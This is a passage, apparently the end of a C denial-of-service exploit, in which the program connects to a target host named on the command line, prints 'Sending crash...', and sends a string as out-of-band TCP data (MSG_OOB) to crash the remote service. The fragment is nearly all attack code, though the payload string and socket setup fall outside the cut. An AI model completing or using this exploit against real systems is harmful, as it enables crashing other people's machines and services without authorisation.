    open_sock(s, argv[1], dport);


    printf("Sending crash... ");
      send(s, str, strlen(str), MSG_OOB);
      usleep(100000);
    printf("Done!\n");
    close(s);
}
```